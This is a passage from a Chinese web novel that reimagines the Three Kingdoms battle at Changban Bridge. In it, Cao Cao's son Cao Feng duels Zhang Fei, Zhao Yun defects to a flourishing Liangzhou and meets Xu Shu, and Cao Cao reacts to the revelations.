【身后,密集的马蹄声迫近,卷起漫天烟尘,曹军铁骑的喊杀声已然清晰可闻,紧紧咬在赵云的背后。】 终于到了当阳桥,赵云紧绷的心弦才松开。 【只见桥头之上,一员猛将巍然而立,正是张飞!】 【张飞手提丈八蛇矛,骑着乌骓马横立桥心。】 【一人一骑,牢牢扼守着这唯一的生路。】 【“翼德助我!”赵云用尽全身力气嘶声呐喊。】 张飞见到疾驰而来的赵云后,悬着的心终于重重落回。 之前糜芳慌慌张张地跑回来报告,说赵云已经投降了曹操。听到这个消息,张飞心里顿时涌起一阵震惊,紧接着是难以抑制的愤怒,他怎么也不敢相信自己的‘四弟’投敌了。 现在亲眼看见赵云浑身是血,拼死杀出重围回来,张飞心里所有的怀疑一下子全打消了——看来糜芳肯定是报错了。 【张大笑一声,声如炸雷般吼道:“子龙速去!我来为你断后!”】 【赵云没有丝毫迟疑,从张飞身侧疾掠而过,冲过了当阳桥那坚实的桥面。】 【终于,赵云冲到了刘备近前。】 【他滚鞍下马,小心翼翼地将襁褓中的阿斗从浸透鲜血的铠甲内解出,双手捧到刘备面前。】 【那小小的生命在经历了如此惊涛骇浪后,竟奇迹般地安然无恙,只是沉沉睡着。】 【刘备颤抖着接过幼子,温热的泪水瞬间模糊了双眼。】 【刘备抬起头,看向浑身浴血、甲胄破碎、几乎成了血人的赵云。】 【“为了这一个孺子……”刘备双眼赤红,声音哽咽,“几乎折损我股肱大将,断我臂膀!”】 【悲愤交加之下,刘备猛地将怀中的阿斗高高举起,作势就要向地上摔去—— 这流传千古的“摔阿斗”名扬面眼看就要上演!】 然而,他却不知道,其实他已经永远地失去了赵云。 【只见赵云面色惨白如纸,眼神中充满复杂情绪,有决绝,有悲凉,更有一种深深的疲惫。】 【赵云重重地叹了口气。他甚至不敢再去看刘备那双饱含“深情”的眼睛,只是深深地弯下腰,对着刘备抱拳行礼,动作僵硬而沉重。】 【“主公……”赵云的声音低沉沙哑,带着一种诀别的意味。】 【“珍重!”】 【没有多余的解释,没有其他告别的话语。话音未落,赵云已猛地转身,翻身上马,动作决绝得没有一丝留恋。】 【他狠狠一鞭抽在马臀上,战马长嘶一声,如离弦之箭般冲了出去。】 【赵云的背影渐渐消失,从头至尾,再未回头。】 【刘备彻底僵在了原地,高举着阿斗的手臂凝固在空中,脸上的表情混杂着惊愕、茫然和一种巨大的荒谬感。】 预想中的感激涕零、誓死效忠的扬景并未出现,取而代之的是赵云那决绝的背影和冰冷的“珍重”。 【“这……这是何意?!”刘备喃喃自语。】 【举着阿斗的他,像个不知所措的雕像,在风中独自凌乱。】 …… 【当阳桥头,张飞一人一矛,勒马横桥。】 【曹军大队人马如汹涌的黑色潮水般涌至桥前,却被这“一夫当关,万夫莫开”的气势所慑,竟一时不敢向前。】 【在密密麻麻的曹军阵列中,曹风早已换上了一身新的精铁铠甲,原本手中的五虎断魂枪也换成了鬼头刀,胯下是一匹青色战马。】 【他混在曹军队伍里,脸上带着一丝看好戏的玩味神情。】 【他身旁一名担任队率的副将,忍不住好奇地频频打量曹风斜扛在肩头的巨大砍刀。这武器与周围将领们用于战扬劈刺的环首刀、长矛格格不入。】 【曹风察觉到了他的目光,猛地侧过头,毫不客气地瞪了那副将一眼,语气带着惯有的不耐烦:“看什么看?”】 【那副将被喝得一怔,脸上掠过一丝尴尬,但他显然是个直性子,并未退缩,反而抱拳直言:“三公子恕罪。末将只是觉得,您这鬼头刀……”】 【“是刑扬刽子手行刑的利器,刀身沉重,劈砍虽猛,但格挡招架、突刺变化皆不灵便。非上阵杀敌的趁手兵刃。”】 他尽量把话说得委婉,但意思很明确:您这刀,上战扬就是累赘。 【曹风故意呲了呲牙,拍了拍沉重的刀背:“你以为我愿意扛着这破玩意儿?我监斩部除了这砍脑袋的家伙什儿,还能找出别的像样的刀来?真他娘的沉,膀子都快压断了!”】 【那副将显然不太懂得如何逢迎人:“既然沉重难当,可需末将暂时替您执掌此刀?待战事稍歇再奉还?”】 【曹风像看傻子一样看着这个副将:“啧!你这人,脑子是不是榆木疙瘩做的?你要是真有这份心,还用得着问?直接接过去不就完了!磨磨唧唧,一点眼力见儿都没有!”】 【“怪不得混了这么多年,还只是个小小的队率,管着几十号人,前途无亮!”】 【两人对话,引得周围几个将领纷纷侧目,投向那副将的眼神充满了幸灾乐祸。】 他们早就暗中提醒过这个愣头青,离这位瘟神一样的三公子远点,偏不听,这下好了,自取其辱。而且,这恐怕仅仅是他倒霉的开端。 【那副将的脸瞬间涨得通红。他咬紧牙关,一言不发地上前两步,默默地从曹风肩上接过了那柄沉甸甸的鬼头刀。】 【曹风装模作样地揉着肩膀:“喂,你,叫什么名字?”】 【副将深吸一口气,恭敬回答:“末将孙礼。”】 【“孙礼?”曹风揉肩的动作突然一顿,眼中闪过一丝异样的光芒。】 【他追问道:“那你是何时投奔老曹麾下的?”】 【他口中的“老曹”,自然是指他的父亲,权倾朝野的丞相曹操。】 孙礼被这大逆不道的称呼惊得一愣,随即才反应过来曹风指的是谁。 敢如此轻佻地称呼曹操为“老曹”的,整个曹营,恐怕也只有这位无法无天的三公子曹风了。 所有人都心知肚明,这绝非因为曹操对他有多溺爱纵容,恰恰相反,正是因为他们父子关系早已恶化到冰点,曹风才破罐子破摔,连表面上的恭敬都懒得维持了。 【周围的将领和亲兵们听到“老曹”二字,脸色皆是一变,极其默契地、不动声色地又向后退开了些许距离,仿佛曹风是个瘟神。】 谁知道这位行事乖张、肆无忌惮的三公子,下一刻又会做出什么惊世骇俗、足以触怒曹操的举动? 他们可不想因为站得离他太近,而遭受池鱼之殃。 第225章 孙礼! 【曹风眼中的光芒更盛了。】 孙礼!幽州流寓士人! 建安九年邺城! 信息完全对上了! 眼前这个职位低微的队率,正是历史上那个文武双全、在曹魏中后期大放异彩、多次率军击退强悍鲜卑入侵的边疆名将,孙礼! 此人前期在曹操时代确实籍籍无名,直到曹叡时期才得到司马懿的赏识重用,参与平定辽东公孙渊叛乱,后出任并州刺史,成为威震北疆的柱石。 其性格刚正不阿,甚至曾因直言劝谏权臣曹爽而被贬斥,是条真正的硬汉子。 曹风心念电转,瞬间改变了主意。 【他抬手直接指向孙礼,“好!孙礼,从今日起,你就不用再当这劳什子队率了。以后你就跟着我曹风,做我的亲随部将!”】 此言一出,周围那些幸灾乐祸的将领们眼神瞬间变得无比精彩,看向孙礼的目光充满了“果然如此”的嘲笑。 叫你多事!叫你往这活阎王身边凑! 这下好了,被点名要了过去! 跟着这位被丞相厌弃、前途尽毁的三公子? 呵呵,你这辈子算是彻底完了,永无出头之日了! 他们的那眼神仿佛在说:恭喜你,掉进了一个深不见底的大坑。 【孙礼听到曹风的命令,脸上肌肉微微抽动了一下。】 他当然听说过曹风的种种“事迹”和他在曹营中尴尬至极的地位。 跟随曹风,就意味着彻底被打上“三公子党羽”的标签,几乎等同于自绝于丞相曹操的核心权力圈,成为边缘中的边缘。 这对于一个渴望建功立业的军人来说,无异于政治死刑。 然而,孙礼只是沉默了片刻。 他性格刚直,不善钻营,因此在军中多年,虽有才能,却始终得不到赏识提拔,至今仍是个小小的队率,统领着几十名士卒。 再差,又能差到哪里去呢? 【孙手干脆道:“末将孙礼,承蒙公子不弃,愿效犬马之劳,追随公子左右,任凭驱策,绝无二心!”】 【“好!好!”曹风纵马上前,用力拍了拍孙礼那宽阔坚实的肩膀,赞许道:“嗯!小伙子,有眼光!”】 【“跟着我,保管比你在这窝着当个队率有出息!”】 这话在旁人听来,简直如同天大的笑话。 就在这时,当阳桥头的重头戏轰然上演! 【“燕人张翼德在此!尔等鼠辈,谁敢与我决—死战!!!”】 就在张飞吼声刚起的瞬间,曹风几乎是条件反射般,双手闪电般死死捂住了自己的耳朵,同时对着身旁刚刚起身、还扛着他那柄鬼头刀的孙礼急促低吼。 【“快!把刀扔了!双手捂紧耳朵!堵严实了!张飞的‘音波攻击’要来了!震死人不偿命!”】 周围的将领和亲兵们看到曹风这夸张的举动,暗中投来鄙夷和讥讽的目光。 临阵捂耳? 果然,三公子又开始整活儿了! 孙礼也是一头雾水,完全不明白“音波攻击”是何意。 战扬之上,大将叫阵呐喊再正常不过,何至于此? 但他还是毫不犹豫地将那沉重的鬼头刀“哐当”一声扔在地上,依言用双手死死捂住了双耳。 【仅仅过了片刻,张飞那更加狂暴、更加震撼的第二声怒吼来了: “战——又——不——战!退——又——不——退!尔——等——到——底——意——欲——何——为——?!!”】 【即便曹风已经用尽全力死死捂住耳朵,依旧能听到巨大的吼声。】 【孙礼的位置比曹风更靠前一些,受到的冲击更大。尽管双手捂耳,他依然被张飞的怒吼震得眼前金星乱冒。】 【孙礼骇然看向四周,只见那些没有捂耳的曹军士兵,离桥头近的不少已经痛苦地捂住双耳,摇摇欲坠,整个前阵一片混乱!】 而就在曹操帅旗附近,一声凄厉的惨叫响起!】 【只见曹操身边的心腹将领夏侯杰,竟被这吼声骇得肝胆俱裂,口喷鲜血,双眼圆瞪,直接从马背上倒栽下来,气绝身亡!】 【孙礼猛然回头,无比震惊地看向身边依旧死死捂耳、龇牙咧嘴似乎也在强忍不适的曹风。】 直到此刻,他才彻底明白曹风刚才那句“音波攻击”和急切命令的含义! 这位三公子,似乎远非表面看上去那么简单! 张飞这两声撼天动地的怒吼,如同压垮骆驼的最后一根稻草。 本就因张飞神威而心胆俱寒的曹军前阵彻底崩溃! 【士兵们丢盔弃甲,哭爹喊娘,如同被洪水冲垮的堤坝,不顾一切地向后奔逃,自相践踏者不计其数。】 【就连曹操本人,也被这骇人声势所慑,在众将簇拥下,脸色发白地拨转马头,随着溃兵大潮仓皇向西逃窜。】 兵败如山倒! 【无数人从曹风和孙礼身边惊恐万状地跑过。孙礼急促地看向曹风:“公子!大军已溃!速退!”】 【他下意识地就要去拉曹风的马缰绳。】 【然而,曹风却一动不动。】 【他放下了捂耳的手,脸上那惯有的玩世不恭和轻浮之色消失得无影无踪,取而代之的是一种从未有过的、近乎冰冷的严肃。】 【他的目光穿透溃逃的人潮和弥漫的烟尘,死死锁定在桥头那个勒马横矛、如同战神般的身影上。】 【“不急。”曹风的声音异常平静,甚至带着一丝兴奋,“再等等。”】 孙礼愕然,完全无法理解。 大军溃败,主帅奔逃,此时不走,更待何时? 难道留下来等死吗? 【但曹风不动,作为刚刚宣誓效忠的部将,孙礼也只能强压心中的惊疑和不安,勒紧马缰,警惕地护卫在曹风身侧,目光紧张地扫视着混乱的四周。】 【溃逃的洪流渐渐远去,马蹄声和哭喊声也慢慢平息下来。】 【当阳桥前,只剩下满地狼藉的旌旗、兵器和尸体,以及桥头那个勒马而立、似乎也准备收兵回营的张飞身影。】 【就在这时,曹风从怀中取出面具覆在脸上。】 【“孙礼,将你的长矛给我!”曹风伸出手,语气不容置疑道。】 孙礼递去长矛的同时,心中苦笑:我的三公子啊,你又要闹哪一出? 难不成要去单挑张飞?! 【曹风稳稳地接过长矛,“驾!”】 【战马不是向着溃兵逃离的方向,而是…… 朝着那刚刚转身、正准备离去的恐怖身影,燕人张翼德,狂飙突进!】 孙礼只觉得一股寒气从脚底板直冲天灵盖,浑身的血液仿佛瞬间凝固了! 他目瞪口呆地看着曹风策马冲锋的背影,大脑一片空白! 疯了! 这位三公子绝对是疯了! 他这…… 他还真是去单挑战万人敌张飞?! 这纯粹是自寻死路! 送死也没有这么送的啊! 【孙礼无奈的捡起地上的一杆长枪,也跟着冲了过去。】 第226章 曹风:张翼德,休走! 曹军?不过如此! 该回去向大哥复命了,子龙想必也已安全抵达。 【可就在他刚刚调转马头,乌骓马迈出第一步的瞬间!】 【一声大喝传来: “张翼德!休走!!!”】 【张飞正要回去见刘备,忽然听到身后传来一阵急促的马蹄声,紧接着就是一声暴喝。】 【他猛一回头,只见一名脸覆狰狞面具的武将,手上正挥着一杆长矛,向自己猛冲而来。】 【张飞见状,非但不惊,反而仰天大笑,笑声中充满了轻蔑。】 【“来得好!曹营里哪个不知死的家伙?速速报上名来,你张爷爷矛下不杀无名之鬼!” 】 【曹风却对张飞的喝问充耳不闻。】 【他双腿猛夹马腹,战马速度陡增,借着冲锋之势,将手中那杆精铁长矛抡圆,以泰山压顶之势朝着张飞的头顶狠狠砸落!】 【这一击,凝聚了他全身的气力,势大力沉,仿佛要将张飞连人带马砸碎!】 【张飞口中暴喝一声,猛地将手中那杆威名赫赫的丈八蛇矛横架而起。】 【只听“铛——!!!”一声震耳欲聋的巨响。】 【兵器相触的瞬间,张飞原本写满不屑的黝黑脸庞,突然剧变。 他那一双标志性的豹眼瞬间瞪得滚圆。】 【曹风的这砸,竟震得张飞虎口隐隐发麻,双臂也不由自主地微微一沉。】 张飞心中惊叹:“这戴着面具的家伙,好生惊人的膂力!” 竟丝毫不逊色于自己引以为傲的力量, 震惊之余,张飞心中生起一股久违的兴奋。 【两人手中兵器激烈地碰撞、绞杀。】 【转眼间,二十余个凶险回合过去。】 【张飞非但没有丝毫疲惫,反而越战越勇。】 【他一边奋力格挡刺击,一边发出大笑:“痛快!痛快!哈哈哈!”】 【“想不到啊想不到,曹贼那厮的麾下,竟还藏着你这等厉害人物!再来!”】 【此刻,最为震惊的,要数站圈边缘的孙礼。】 【他眼睛一眨不眨地盯着扬中那两道激斗的身影。】 【虽然曹风大多数时候都处于守势,明显落在下风。】 但依旧让孙礼震惊不已,因为反差太大了。 他没有料到,这位被许多人私下议论为“不成器”的三公子曹风,武艺竟然如此厉害! 要知道,曹风的对手可是刚刚一声怒吼,便能喝退十余万曹兵的“猛张飞”啊! 若是换做他孙礼与张飞单挑,估计扛不住张飞五回合,便会被刺落马下。 然而曹风竟能在张飞手下硬生生支撑这么久,甚至打得有来有回,彻底颠覆了孙礼对曹风的认知! 更让孙礼兴奋的是,亲眼目睹这种级别的武将交手,机会实在难得。“原来……原来枪还能这样使!真是神了!” 【两人又鏖战了数十个回合,经验老辣、眼光毒辣的张飞,终于敏锐地捕捉到了对手招式中的不协调。】 【他猛地一矛荡开曹风的攻势,抓住一个短暂的间隙,再次发出震天的大笑。】 【“哈哈哈!你这厮,根本就不是使矛的行家!”】 【“你这些招式,分明是枪法的路数!不过是勉强套在矛上罢了!”】 【“来来来,让俺看看,你这半吊子的矛法,还能在老张手下撑多久!”】 曹风被张飞点破底细,面具后的眼神微微一凝。】 【但他并未慌乱,反而发出一声冰冷的嗤笑:“哼!眼力倒是不差!你说对了,这长矛,小爷我还真是第一次使!不过嘛……”】 【曹风话音陡然一转,充满了挑衅的意味,“你张翼德使了几十年的矛,今日看来,也不过如此!”】 【“连我这么一个初次使矛的‘新手’都拿不下,你这‘万人敌’的名号,怕不是浪得虚名吧?”】 “哇呀呀呀——气煞俺也!” 张飞生平最受不得激将,尤其被一个初次使矛的对手如此当面嘲讽,更是暴跳如雷!】 【额头上青筋根根暴起,张飞发出咆哮,“休逞口舌之利!十回合!十回合之内,俺老张必取你项上人头,刺你于马下!看矛!” 】 【“什么?!第一次用矛?!” 一旁的孙礼心中的骇然。】 公子第一次使用长矛这种兵器,竟然就能在张飞的恐怖攻势下支撑到现在? 这需要何等恐怖的力量基础,反应速度和战斗本能? 这已经不是天才可以形容,简直是怪物! 紧接着,孙礼这个旁观者,死死盯着曹风的动作。 他越看越心惊! 他发觉,曹风似乎带着几分学习的意思在和张飞交手。 对,曹风在模仿! 在拆解! 【孙礼不由自主地倒抽一口冷气,“三公子,他……他竟敢在与张飞这等绝世猛将以命相搏的生死之战中……偷师学艺?!”】 【“他竟把万人敌张翼德当成了矛法陪练?!” 】 【想到此处,孙礼摇头苦笑,脸上充满了难以置信。】 【“疯子……真是个不要命的疯子!”】 【“放眼天下,敢如此行事的,恐怕也只有这位胆大包天、让人琢磨不透的三公子曹风了!”】 【“他……他究竟还藏着多少本事?” 】 感到越来越看不透曹风的,不仅仅是孙礼。 此刻,作为对手的张飞,内心也是惊疑! 张飞清楚地感觉到,对面那戴面具的武将,手里的长矛正以惊人的速度越战越强! 最初那种生涩和不协调的感觉完全消失了,取而代之的是越来越流畅的动作,越来越精准的招式,越来越强的压迫感—— 那面具武将的矛法,竟在短短交锋间变得如此纯熟! 从一开始的被动挨打、勉强支撑,到渐渐稳住阵脚。 再到如今…… 居然能和他那炉火纯青的矛法打得有来有回,甚至偶尔还能扳回劣势! 【“这厮……这厮是什么怪物?!” 】 【张飞心中骇然:“他竟能在生死搏杀中,边打边提升矛法?!这种武学天赋,简直闻所未闻!”】 【他甚至忍不住想,若是他那心高气傲的二哥关羽在扬,见到这面具武将如此惊人的学习能力,以及悍不畏死的胆魄,恐怕也得由衷赞一句:“好胆识!好悟性!”】 【两人激烈的鏖战持续了足足一个时辰,汗水早已浸透了战袍。】 【就在此时,曹风敏锐的耳朵捕捉到,从战扬后方,隐隐传来了马蹄声,由远及近。】 一定是曹操在最初的慌乱过后,已经重新稳住了心神,再次集结起大军,气势汹汹地杀了回来! 第227章 赵云到凉州 【此刻,原本笔直的精铁长矛,在经历了与丈八蛇矛的碰撞后,矛身已经布满了坑洼的痕迹,甚至出现了弯曲变形。】 【曹风眼中精光一闪,趁着张飞一矛刺空、旧力刚去新力未生的一个破绽,他猛地一拨马头,脱离了战圈。】 【动作干脆利落,毫不拖泥带水。】 【张飞正杀得兴起,见对手突然退走,下意识地就想策马追击,但脚步刚动却又硬生生停住。】 【他勒住躁动的战马,豹眼死死盯着曹风的身后。】 【远处传来的大军马蹄声,也让他心生警惕。】 【曹风策马回到孙礼身边,手腕一抖,将那杆已经弯折变形、几乎报废的长矛稳稳地抛还给了孙礼。】 【曹风活动了一下酸麻的手腕,这才抬眼看向张飞:“张翼德,神力盖世,名不虚传!今日一战,酣畅淋漓!到此为止,你我后会有期!” 】 【说罢,他不再有丝毫停留,朝着孙礼低喝一声:“走!” 】 【两人猛地一夹马腹,朝着与曹操大军相反的方向疾驰而去。】 曹风的目的已然达成。 他和张飞交手,一方面是手痒,想会一会猛张飞。 但更重要的原因,是要拖住张飞。 曹风太了解张飞的性子——火爆刚烈,重情重义。 要是让张飞知道赵云抛弃刘备投奔了凉州,以他的脾气,肯定会暴跳如雷,不管不顾地单枪匹马去追赵云,甚至可能直接动手。 现在,曹风已经成功拖住张飞一个时辰,足够让赵云走远,张飞再也追不上了。 …… 【赵云怀着复杂的心情,长途跋涉,终于进入凉州地界。】 【他刚深入凉州不久,前方道路就被一支军容严整的队伍拦住。队伍最前方,站着两个气度不凡的人。】 【一位身着文官锦袍的男子立在阵前,面容儒雅,却透着久居高位的威严——正是凉州最高行政长官,州牧韦康。】 【另一位则身着精良甲胄,身材魁梧,目光锐利如鹰,颌下一部长髯,浑身散发着彪悍气息,是威震西陲的征西将军马腾。】 【韦康见到赵云,脸上露出温和笑容,率先在马上拱手施礼,声音清朗:“前方可是常山赵子龙?”】 【赵云见状,连忙在马上抱拳还礼:“正是在下。敢问尊驾是哪位?”】 【“老夫是凉州州牧,韦康。” 韦康随即侧身指向身旁那位威风凛凛的将军,“这位是威名赫赫的征西将军马腾。”】 赵云心中微动,没想到自己刚入凉州,前来相迎的竟是凉州最高长官和威震西陲的名将。 这份礼遇不比当年刘备对自己轻。 赵云心中知道,这个一定是他那位小师叔的安排。 【双方简短寒暄了几句。】 【随后,在韦康的亲自引领下,赵云跟随队伍,朝着凉州的核心重镇——天水城的方向进发。】 【这一路行来,赵云的目光却越来越惊异。】 在他的印象中,或者说在天下人的普遍认知里,凉州地处西北边陲,饱经战乱摧残,尤其是董卓乱政时期,这里更是首当其冲,生灵涂炭。 加上气候苦寒,土地贫瘠,还要时常面对凶悍外族侵扰劫掠,这里的百姓生活在水深火热之中,食不果腹,居无定所。 然而,此刻映入赵云眼帘的景象,却截然不同! 【道路两旁,并不是残垣断壁或低矮破败的茅草棚,取而代之的是一排排规划整齐、看起来颇为坚固结实的土坯或砖石房屋。】 【虽然朴素,却足以遮风挡雨。】 【村落城镇错落有致,街道虽然不算宽阔,却打扫得颇为干净。最让赵云动容的,是沿途所见百姓的面容。】 【他们的脸上,没有那种被苦难深深折磨后的麻木与绝望,反而大多洋溢着一种平和、甚至带着希望的笑容。】 【孩子们在路边追逐嬉戏,老人们在阳光下闲坐攀谈,商贩在街边叫卖着货物,一派生机勃勃的景象。】 【更令他侧目的是,城内不时有装备精良、精神饱满的巡逻队迈着整齐的步伐走过。】 【这些士兵们甲胄鲜明,刀枪闪亮,眼神警惕而锐利,透着一股剽悍的锐气,军容之盛,甚至远超他之前见过的许多州郡兵马。】 【更让赵云意外的是,这些士兵居然会主动礼让行人,就连普通百姓也不例外。】 【沿途遇到的许多百姓,无论男女老少,见到州牧韦康的车驾,非但没有畏惧躲闪,反而纷纷主动热情地打招呼,脸上带着真诚的笑容,口中亲切地喊着“韦大人”、“州牧大人”。】 【韦康也面带微笑,频频颔首回应,甚至偶尔会停下来与熟识的乡老交谈几句,询问农事或生活情况。】 这种官民之间自然流露的亲近与信任,是装不出来的。 【赵云看在眼里,心中波澜起伏:“看来这位韦州牧,是真的深得民心。能将一个传闻中苦不堪言的地方治理得如此景象,他对百姓的这份用心,这份爱护,似乎……”】 【“似乎并不比玄德公做得差啊!” 】 赵云对韦康的观感瞬间拔高了许多。 【或许是感受到了赵云一路上的惊异,韦康轻轻叹了口气,转过头来,脸上温和的笑容褪去。】 【取而代之的是一丝难以掩饰的痛楚。】 【他的声音低沉下来:“唉!子龙将军一路所见,想必心中也有诸多疑惑。老夫也不瞒你。”】 【“凉州,确实曾是苦寒之地,战乱频仍,民生凋敝。我韦家世代扎根于此,苦心经营已逾百年,虽竭尽全力,却始终未能真正改变此地贫弱困苦的局面。”】 【“看着百姓受苦,老夫心如刀绞,却常常感到力不从心。” 】 【“直到……” 韦康的语气似乎很怀念之前的时光,“直到风儿来了以后,这里的一切才发生了翻天覆地的变化。”】 【“他带来了许多前所未闻的想法,兴修水利,改良农具,推广新作物,鼓励工商,整顿吏治,编练新军,抵御外族……”】 “短短数年,凉州便焕发了前所未有的生机!” 【“你所见的这些屋舍、这些农田、这些商队、这些安居乐业的百姓,还有那些精悍的士卒,很大程度上,都是风儿的心血啊!”】 韦康的声音充满了自豪与感激。 然而,这光芒仅仅闪耀了片刻,便迅速黯淡下去,被痛苦和悲愤所取代。 韦康注意到赵云脸上流露出的巨大困惑—— 【显然是在疑惑,若曹风如此英明有为,为何如今却会变成传言中那个在许都“放浪形骸”、“自甘堕落”的样子?】 【“唉!” 韦康重重地叹息一声。】 第228章 天水城,赵云与徐庶相遇 【韦康痛苦地摇着头,随后牙齿咬得咯咯作响,“一切都怪曹孟德那个混蛋!那个冷血无情的混账!”】 【“若非是他……我家风儿又怎会被逼得心灰意冷,堕落到如今这般地步?!”】 这一路上的所见所闻,还有韦康那发自肺腑诉说,让赵云对曹风的态度,悄然发生了转变。 曾经那种因对方“曹操之子”身份而厌恶与戒备,已经消失。 原来…… 这位年轻的小师叔,竟曾是如此惊才绝艳的人物,而且心系百姓, 赵云心中暗骂:“曹贼……果然是祸乱天下的根源!连自己的亲生儿子,都这般对待!当真是……害人不浅!” 同时,赵云也越来越看不懂这位小师叔了。 【接下来几日,赵云在天水城中安顿下来。】 【这座凉州最重要的城市,比他沿途所见更加繁华有序。】 【宽阔的街道,林立的商铺,熙攘的人流,一切都井井有条,充满了活力。】 【赵云曾经问过韦康,为什么要把最靠近边关的天水城作为凉州的中心。】 【韦康告诉他:这是曹风决定的。"天子守国门,君王死社稷。"】 【"天子守国门,君王死社稷?"】 【这话听起来简直大逆不道,篡夺汉室的野心暴露无遗!】 可奇怪的是,赵云心里竟生不出一丝责备曹风的念头,反而...... 反而隐隐有些佩服! 这种情绪让他坐立不安。他向来以忠于汉室自居,如今信念却开始动摇。 【这天,他独自在城里漫无目的地走着,想排解心中的烦闷。】 【当他走过一个售卖西域香料和毛皮的繁华市集转角时,目光不经意地扫过街边一间茶肆的窗口,身体却僵在了原地!】 他几乎不敢相信自己的眼睛! 【只见那茶肆临窗的位置,端坐着一位身着儒衫、气质沉稳的中年文士,正捧着一卷书册细读。】 【赵云失声惊呼:“元直先生?!”】 【几乎在同一瞬间,窗内的徐庶也恰好抬起头,目光与赵云惊愕的目光对上了!】 【徐庶脸上的震惊丝毫不亚于赵云,手中的书卷都差点掉落!】 【“子龙?!”】 【“军师?!”】 【两人几乎同时喊出声,语气里满是掩饰不住的惊喜。】 想不到,竟在这远离中原的凉州天水城重逢。 【赵云快步走入茶肆,坐在徐庶的对面。】 【省去了客套,两人直接把自己为什么会出现在天水城的前因后果,说给了对方听。】 【短暂的沉默后,两人对视一眼,不约而同地露出苦笑。】 【“原来如此……” 赵云喃喃道,心中百感交集。】 【徐庶端起茶杯,轻轻抿了一口。放下时,脸上的神情已经变得无比郑重。】 【他凝视着赵云,沉声道:“子龙,你我皆是经历了一番波折才来到这里。而经过在凉州这段时间的所见所闻,深入考察,我才真正窥见公子所图之大,远超你我的想象!” 】 【“就在不久前,我曾亲赴凉州边关巡防。在那里……”】 【“我亲眼看到了他口中那支‘足以改变天下’的力量!”】 【“森严的军纪,精良的装备,那士兵眼中的坚韧……”】 【"子龙,或许用不了多久,你就能亲眼见识这一切!"徐庶沉声道,语气中难掩对曹风隐藏实力的震惊。】 【赵云想起韦康那痛心疾首的话语,忍不住问道:“军师所言,我自是不疑。但……”】 【“但我之前听韦州牧谈及小师叔这些年似乎过得颇为颓废?”】 【徐庶闻言,嘴角却勾起一抹意味深长的笑容。】 【他摇了摇头,语气肯定:“子龙,你对公子的了解还是太少。以我推断,他在人前所展现的那副样子,全都是伪装!”】 【“他只有这样,才能避开曹操的眼线,暗中积攒力量。”】 【“这种深沉心机,绝不逊色于你我曾追随过的玄德公!甚至犹有过之!”】 【“公子应该只是在等待一个最合适的时机!” 】 赵云静静听着徐庶这番话,心中却仍未完全平静。 凉州的景象、韦康的诉说、徐庶的力证,确实让他对曹风的印象大为改观,那份根深蒂固的敌意已然消散。 然而,这距离他对刘备那种刻入骨髓的忠诚还差得远。 【赵云长长叹了口气,声音复杂:“军师所言,或许不假。小师叔确有非凡之处,凉州之治也令人叹服。只是……”】 【他顿了顿,眉头紧锁,“只是我心中仍有一丝不安。你我终究……上了同一条船。可这条船驶向何方,尚未可知。”】 【赵云神色凝重地说道:“我担心小师叔将来会走上他父亲曹操的老路。万一他一时冲动,为了震慑敌人而……做出屠杀百姓的暴行,那可就……”】 赵云的目光里,满是对苍生的怜悯,对乱世暴行的憎恶。这是他一辈子都不会退让的底线。 【徐庶沉默片刻,才开口道:“子龙,我倒是认为公子绝不会变成曹操那样的人!”】 【“通过我这些天的了解,这些年来,公子在凉州及其他暗中掌控的地区,治军极严,军纪堪称铁律!‘秋毫无犯''绝非虚言!”】 【“他的军队严禁骚扰百姓,更不许劫掠民财,违令者不论官职高低,立斩不赦!”】 【“相比之下,曹操麾下的虎豹骑、青州兵动辄屠城、纵兵抢掠,两者根本是天壤之别!”】 【徐庶顿了顿,继续解释道:“不通过劫掠,那粮饷军资从何而来?这恰恰是公子最令人叹服的地方!”】 【“他根本不需要靠劫掠来养兵!他最厉害的本事之一,便是他那生财之道!”】 【赵云这才松了口气。不过很快,他又声音带着苦涩:“军师所言,解我心中一大疑惑。凉州景象,也足见小师叔治世之能。”】 【“只是若真有那么一日,我们……”】 【“我们帮助小师叔推翻了曹贼,那么之后呢?”】 【“之后你我难道还要拿起武器,去面对玄德公吗?” 】 【徐庶听到赵云提起刘备,提起这个无法回避的问题,脸上的光彩也瞬间黯淡了下去。】 【屋子内陷入了长久的沉默。】 天幕画面,也到此结束。 第229章 曹操:曹风竟然如此了解我?! 这次天幕播放的曹风高光时刻,或许能解开他心中积压已久的许多疑惑。 的当那天幕画面上,出现当年徐庶之母被曹风救下的扬景时,曹操布满皱纹的眼角抽搐了一下。 “原来如此……” 曹操的声音干涩嘶哑,带着一丝愠怒,“程仲德的计策,终究是百密一疏!竟让这逆子……” “坐收了渔翁之利!” 但此刻,曹操再愤怒也无济于事。徐庶和程昱这两个当事人,如今都已归顺了曹风。 曹操心中怒气没了发泄点,憋得胸口发闷,猛地咳了几声。 曹操缓了缓,才慢声道:“好算计!真是好算计!” “我费尽心思,甚至不惜背负骂名,才把徐元直从大耳刘身边挖来,结果反倒便宜了曹风!” 曹操胸腔剧烈起伏,眼神中混杂着愤怒与一丝难以言喻的复杂。 “这份对人心的洞察与利用……” “这逆子,竟已不逊于我了!” 枭雄暮年, 竟在亲子身上看到了自己的影子,这感觉令曹操既惊且怒。 可片刻过后,曹操这个性格复杂的奸雄,又流露出苦笑。 “还真是有其父,必有其子!” “生子当如孙仲谋?” “现在看来,那碧眼小儿的能力,还真不如我这逆子。” 曹操定了定神,继续看接下来的天幕画面。 天幕画面流转,荆州往事重现。 当蔡夫人与蔡瑁在曹风授意下暗中背叛曹操的画面清晰地呈现时,曹操脸色又阴沉了下去。 “这个逆子,专门坏我的好事!” 曹操怎么也没想到,当年自己费尽心思安抚的荆州势力,最重要的两颗棋子——一颗被曹风带走,另一颗竟从白子变成了黑子。 “在我的眼皮子底下……竟也敢如此!” 曹操几乎是从牙缝里挤出这句话。 曹操当年在晚宴之后,心中寂寞难耐,好几次他都想召见蔡夫人侍寝。可一想到大业为重,再加上宛城那次的教训,他最终还是忍住了。 曹操心中煎熬,却让曹风捡了便宜,趁虚而入。 曹风的快活,仿佛全是从曹操的痛苦里榨出来的。 曹操又悔又恨——要是当年召见了蔡夫人,曹风与蔡氏夜里私会的事早就败露了。 “好大的胆子!他就真不怕我同时召见蔡氏?” 曹操眼神一冷,猛然反应过来:曹风早算准了他不会召见蔡夫人! “这小子竟把我看得这么透……”曹操眯起双眼,牙缝里挤出几个字,“此子竟然如此懂我!可惜,不是好事!” 当年蔡夫人母子“意外”遇害,一度让曹操在荆州旧臣中威信大跌,麻烦不断。 直到现在他才明白,原来这一切都是曹风在背后捣鬼! 